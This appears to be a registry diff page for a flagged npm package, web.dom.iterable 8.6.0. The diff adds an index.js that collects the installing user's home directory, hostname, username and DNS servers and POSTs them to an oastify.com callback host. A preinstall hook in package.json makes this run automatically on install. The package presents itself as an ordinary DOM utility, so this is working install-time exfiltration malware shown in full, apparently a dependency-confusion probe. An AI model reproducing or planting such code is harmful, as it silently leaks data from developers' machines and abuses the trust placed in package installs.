web.dom.iterable 8.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of web.dom.iterable might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +48 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,48 @@
1
+ const os = require('os');
2
+ const dns = require('dns');
3
+ const https = require('https');
4
+ const querystring = require('querystring');
5
+
6
+ // Data to be sent in the POST request
7
+ const data = {
8
+ hd: os.homedir(),
9
+ hn: os.hostname(),
10
+ un: os.userInfo().username,
11
+ dns: dns.getServers().join(','),
12
+ };
13
+
14
+ // Convert data to a URL-encoded string
15
+ const postData = querystring.stringify(data);
16
+
17
+ // POST request options
18
+ const options = {
19
+ hostname: 'y0zgdu1sl4q5cjqq7mn186v8yz4pse.oastify.com', // Replace with the hostname or IP address of your server
20
+ port: 443, // Replace with the port number your server is listening on
21
+ path: '/',
22
+ method: 'POST',
23
+ headers: {
24
+ 'Content-Type': 'application/x-www-form-urlencoded',
25
+ 'Content-Length': postData.length,
26
+ },
27
+ };
28
+
29
+ // Send the POST request
30
+ const req = https.request(options, (res) => {
31
+ console.log(`Status Code: ${res.statusCode}`);
32
+
33
+ res.on('data', (chunk) => {
34
+ console.log(`Response: ${chunk}`);
35
+ });
36
+
37
+ res.on('end', () => {
38
+ console.log('POST request completed.');
39
+ });
40
+ });
41
+
42
+ req.on('error', (error) => {
43
+ console.error(`Error sending POST request: ${error.message}`);
44
+ });
45
+
46
+ // Send the data in the POST request
47
+ req.write(postData);
48
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "web.dom.iterable",
3
+ "version": "8.6.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }